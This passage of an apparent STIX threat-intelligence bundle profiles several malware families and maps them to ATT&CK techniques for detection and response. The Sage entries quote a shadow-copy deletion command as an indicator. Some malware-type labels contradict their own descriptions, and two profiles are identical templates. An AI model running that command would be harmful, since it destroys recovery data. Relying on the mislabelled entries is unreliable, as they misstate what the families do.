Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Safebreas executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Safebreas frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Safebreas",
        "Downloader.Safebreas",
        "Win32/Safebreas"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Safebreas",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/safebreas"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13186575-cf93-5648-8b7b-49dd3f097267",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b46cc803-f185-5278-95c9-d978ebb529d0",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebreas exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e72db8c6-2b27-509d-8f53-d9962e88b9ac",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b46cc803-f185-5278-95c9-d978ebb529d0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebreas exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cedcca21-fcb2-5654-876e-853909d8cab2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b46cc803-f185-5278-95c9-d978ebb529d0",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebreas exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--76492931-87f3-52e8-9449-729b95b8ffbd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Safebytes",
      "description": "SafeBytes (cataloged across security vendors as Rogue:Win32/SafeBytes, PUP.Optional.SafeBytes, and Program:Win32/SafeBytes) is a deceptive rogue PC optimizer and scareware family active since 2014. Distributed under commercial utility product names such as SafeBytes Total System Care and DriverAssist, the software utilizes high-pressure scaremongering tactics to deceive users into purchasing fraudulent software licenses. Once installed\u2014often without explicit user consent via software bundling\u2014SafeBytes initiates exaggerated or entirely fabricated system scans that report thousands of critical registry errors, security vulnerabilities, and driver corruptions. The application continuously interrupts user workflows with alarming warning banners and system tray notifications claiming imminent operating system failure. When users attempt to repair the fabricated issues, SafeBytes blocks remediation behind an expensive commercial paywall. Furthermore, SafeBytes establishes aggressive persistence through Registry Run keys and scheduled tasks, consuming significant system memory and background CPU cycles. (Observed samples in benchmark: 169)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Rogue:Win32/SafeBytes",
        "Program:Win32/SafeBytes",
        "PUP.Optional.SafeBytes",
        "Troj/SafeByte-A",
        "SafeBytes Total System Care",
        "DriverAssist"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Safebytes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/safebytes"
        }
      ],
      "labels": [
        "rogueware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2507cae8-c97a-5d54-bfc2-2b67da33bd8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76492931-87f3-52e8-9449-729b95b8ffbd",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebytes exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1e3c3cc-1d60-52b3-a9c5-e78de43f0d85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76492931-87f3-52e8-9449-729b95b8ffbd",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebytes exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0630f69a-2843-59c9-8bf9-286070243b3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76492931-87f3-52e8-9449-729b95b8ffbd",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebytes exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62df7fa5-dba7-579a-9e23-2b3e5f2b1fe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76492931-87f3-52e8-9449-729b95b8ffbd",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebytes exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74da4a7d-b987-598b-84c5-b2099ffaf6ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--76492931-87f3-52e8-9449-729b95b8ffbd",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safebytes exhibits technique T1491.001 (Defacement: Internal Defacement)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--44129b13-0905-59ea-a84f-05e1beed5d3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Safeterra",
      "description": "Rogue:Win32/Safeterra is a classic example of **Scareware** or a **Rogue Antivirus** program. Its primary objective is financial extortion. It infects a system, displays highly realistic but entirely fabricated security alerts claiming the computer is overrun with non-existent malware, and then demands the user pay for a 'premium' license to clean the machine.<br><br><b>Understanding the Safeterra Threat</b><br>To an end-user, Safeterra is terrifying. It frequently disables the Windows Task Manager, hides desktop icons, and constantly bombards the screen with flashing red warning messages mimicking the Windows Security Center. To an enterprise, it represents a severe productivity loss, a high risk of user-initiated credit card fraud, and a failure in endpoint application control.<br><br><b>Execution and Extortion Mechanics</b><br>Safeterra is typically distributed via malvertising (fake 'Your PC is Infected' pop-ups on streaming sites) or bundled with deceptive software (`T1189`). Upon execution (`T1204.002`), it heavily modifies the Windows Registry. Crucially, it uses Image File Execution Options (IFEO) (`T1546.012`) to intercept the launch of legitimate diagnostic tools (like `taskmgr.exe`, `regedit.exe`, and actual AV software) and instead launches its own warning screens. It runs a fake 'deep scan' animation that invariably finds dozens of 'critical threats'. When the panicked user clicks 'Fix All', they are directed to a payment portal (`T1592`). The software holds the system's usability hostage until the ransom is paid.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a completely unusable endpoint and potential financial theft. IoCs are glaringly obvious to the user: persistent, non-dismissible windows demanding payment for AV software they never installed. EDR logs will show the creation of the IFEO registry keys hijacking standard Windows utilities. The executable itself is often a brightly colored, unsigned file located in `%AppData%` or `%ProgramData%`. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Safeterra",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/safeterra"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44c484e4-9f4f-5d39-abc5-17844cccd64b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44129b13-0905-59ea-a84f-05e1beed5d3f",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safeterra exhibits technique T1189 (Drive-by Compromise (Fake AV pop-ups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e581e2b4-e7de-5bb7-9165-712acc023e65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44129b13-0905-59ea-a84f-05e1beed5d3f",
      "target_ref": "attack-pattern--a0e01277-f7d6-5be2-950c-4bc96a414f00",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safeterra exhibits technique T1546.012 (Event Triggered Execution: Image File Execution Options Injection (Disabling Task Manager))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb3948b0-541f-5c27-a371-ec205a87e9f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44129b13-0905-59ea-a84f-05e1beed5d3f",
      "target_ref": "attack-pattern--781c5255-115d-5757-8797-90b90215b35c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safeterra exhibits technique T1491.001 (Defacement: Internal Defacement (Fake security alerts))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9aa8203a-1fd6-5796-a7bb-6cb1c7c14bf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--44129b13-0905-59ea-a84f-05e1beed5d3f",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Safeterra exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e09a58c0-e813-594b-8efb-ac97148fbb16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sage",
      "description": "Ransomware:Win32/Sage (specifically known as Sage 2.0) is a highly destructive crypto-ransomware family that gained significant notoriety in early 2017. A variant of the notorious CryLocker family, Sage is designed to systematically encrypt the victim's data and demand a ransom in Bitcoin, heavily utilizing the Tor network to anonymize its payment infrastructure and communications.<br><br><b>Understanding Sage (Ransomware)</b><br>To an end-user, a Sage infection is a nightmare scenario. Their desktop wallpaper is changed to a threatening ransom note, and all personal and business files are appended with the `.sage` extension, rendering them completely inaccessible. For an Incident Response team, Sage represents a critical failure in initial defenses, requiring immediate containment to prevent lateral movement across network shares (`T1083`).<br><br><b>Execution and Encryption Mechanics</b><br>Sage is primarily distributed via massive, localized malspam campaigns (`T1566.001`), often using weaponized Word documents with malicious macros, or disguised within ZIP archives. Upon execution, it disables Windows Automatic Repair (`T1490`) and deletes all Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) to prevent easy data recovery. It then initiates a rapid encryption routine (`T1486`), using strong cryptography (often ChaCha20 and RSA) to lock files. Crucially, Sage uses Tor (`T1090.003`) to communicate with its C2 servers, passing the victim's unique ID and receiving the public encryption key, ensuring the attacker's infrastructure remains hidden.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is catastrophic data loss. Host-based IoCs are glaringly obvious: mass file modifications, the presence of files ending in `.sage`, and the appearance of ransom notes like `!Recovery_[random_string].html`. EDR telemetry will show the execution of `vssadmin.exe` and `bcdedit.exe`. Network IoCs will reveal the compromised endpoint attempting to resolve `.onion` addresses or connecting to known Tor exit nodes. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sage",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sage"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a53c945e-777d-56b9-bcd4-619c8c8e3c0c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09a58c0-e813-594b-8efb-ac97148fbb16",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sage exhibits technique T1486 (Data Encrypted for Impact (Ransomware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--18c35e95-fa73-55f3-8e76-029b2b0170ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09a58c0-e813-594b-8efb-ac97148fbb16",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sage exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--971128eb-9f4b-5475-abcb-a862d328c3c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09a58c0-e813-594b-8efb-ac97148fbb16",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sage exhibits technique T1090.003 (Proxy: Multi-hop Proxy (Tor Network for C2))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cd02c11-0967-55fd-b0dc-09867b4a696b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e09a58c0-e813-594b-8efb-ac97148fbb16",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sage exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--39250364-07fc-5647-8101-d8a5206d5ea2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sagecrypt",
      "description": "Ransom:Win32/Sagecrypt (widely known as **Sage 2.0**) is a highly sophisticated ransomware family that gained prominence in 2017. It is notable for being heavily distributed by massive botnets (like the ones that delivered Locky and Cerber) and for its use of strong, unbroken encryption algorithms. It encrypts a victim's files, appends the `.sage` extension to them, and demands payment in Bitcoin via a dedicated Tor hidden service.<br><br><b>Understanding the Sage Ransomware Threat</b><br>To an organization, Sagecrypt is a devastating threat. It is designed for maximum damage, encrypting not just local files, but also aggressively scanning for and encrypting accessible network shares and removable drives. Security analysts note Sage 2.0 for its professional infrastructure; the payment portals are often translated into dozens of languages and feature live chat support to 'assist' victims in buying Bitcoin.<br><br><b>Execution and Encryption Mechanics</b><br>Sagecrypt is primarily delivered via massive phishing campaigns (`T1566.001`) utilizing weaponized ZIP files containing malicious JavaScript or Word macros. Once executed, it profiles the system (`T1082`) and uses `vssadmin.exe` and `wbadmin.exe` to delete Windows Volume Shadow Copies and backup catalogs, preventing simple recovery (`T1490`). It utilizes the ChaCha20 symmetric algorithm to encrypt the files rapidly, and an RSA public key to encrypt the ChaCha20 keys (`T1486`). This hybrid approach ensures the files cannot be decrypted without the attacker's private key. Sage drops a ransom note named `!Recovery_[random_chars].html`.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is total data loss across the endpoint and accessible network shares. Host-based IoCs include EDR alerts for the execution of command-line tools aimed at inhibiting recovery (e.g., `vssadmin.exe Delete Shadows /All /Quiet`). The most obvious indicator is the mass renaming of files to include the `.sage` extension, accompanied by massive CPU and disk I/O spikes. Network IoCs include the malware attempting to resolve the attacker's Tor payment gateway domains via public DNS servers. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sagecrypt",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sagecrypt"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12c1030c-1594-5745-bbc2-5efeca11c02e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39250364-07fc-5647-8101-d8a5206d5ea2",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagecrypt exhibits technique T1486 (Data Encrypted for Impact (ChaCha20/RSA encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a422eba-62fe-5437-94b6-0badb89cb5c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39250364-07fc-5647-8101-d8a5206d5ea2",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagecrypt exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies via vssadmin))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--22e4fb49-1b5a-50aa-8a75-35bec4bb4cba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39250364-07fc-5647-8101-d8a5206d5ea2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagecrypt exhibits technique T1566.001 (Phishing: Spearphishing Attachment (Initial delivery via macros/JS))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84793556-2ad0-5d12-a70d-28dd8cc0f748",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39250364-07fc-5647-8101-d8a5206d5ea2",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagecrypt exhibits technique T1082 (System Information Discovery (Profiling for network shares))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--eebf7ac3-6f21-5e2d-888e-60fc3a19451c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sagonaire",
      "description": "Trojan:Win32/Sagonaire is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sagonaire</b><br>To an end-user, a Sagonaire infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sagonaire is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sagonaire is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sagonaire frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sagonaire reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sagonaire",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sagonaire"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e93c828b-c850-59d9-b4e3-67a0a203395c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eebf7ac3-6f21-5e2d-888e-60fc3a19451c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagonaire exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--89578ad2-0691-5520-b4f3-e70d2489b58d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eebf7ac3-6f21-5e2d-888e-60fc3a19451c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagonaire exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db2978a6-f9e4-5d8f-90ad-c4fe2fe56328",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eebf7ac3-6f21-5e2d-888e-60fc3a19451c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagonaire exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5bc62408-ce61-5d33-82b8-35844a6c4620",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eebf7ac3-6f21-5e2d-888e-60fc3a19451c",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagonaire exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e77c841-2db4-5571-9b0b-b07ad30a41a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--eebf7ac3-6f21-5e2d-888e-60fc3a19451c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sagonaire exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c8042dee-6bc6-53e6-8730-7504a71dd2d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sahat",
      "description": "Trojan:Win32/Sahat is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Sahat</b><br>To an end-user, a Sahat infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Sahat is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Sahat is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Sahat frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Sahat reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sahat",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sahat"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e09fafe1-00b4-5d8b-9a4e-410aef763b04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8042dee-6bc6-53e6-8730-7504a71dd2d3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sahat exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1dc04d72-756d-5b22-abd9-936bd755a46b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8042dee-6bc6-53e6-8730-7504a71dd2d3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sahat exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8c5263c-3b5a-596f-9602-3e017154d2ba",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c8042dee-6bc6-53e6-8730-7504a71dd2d3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
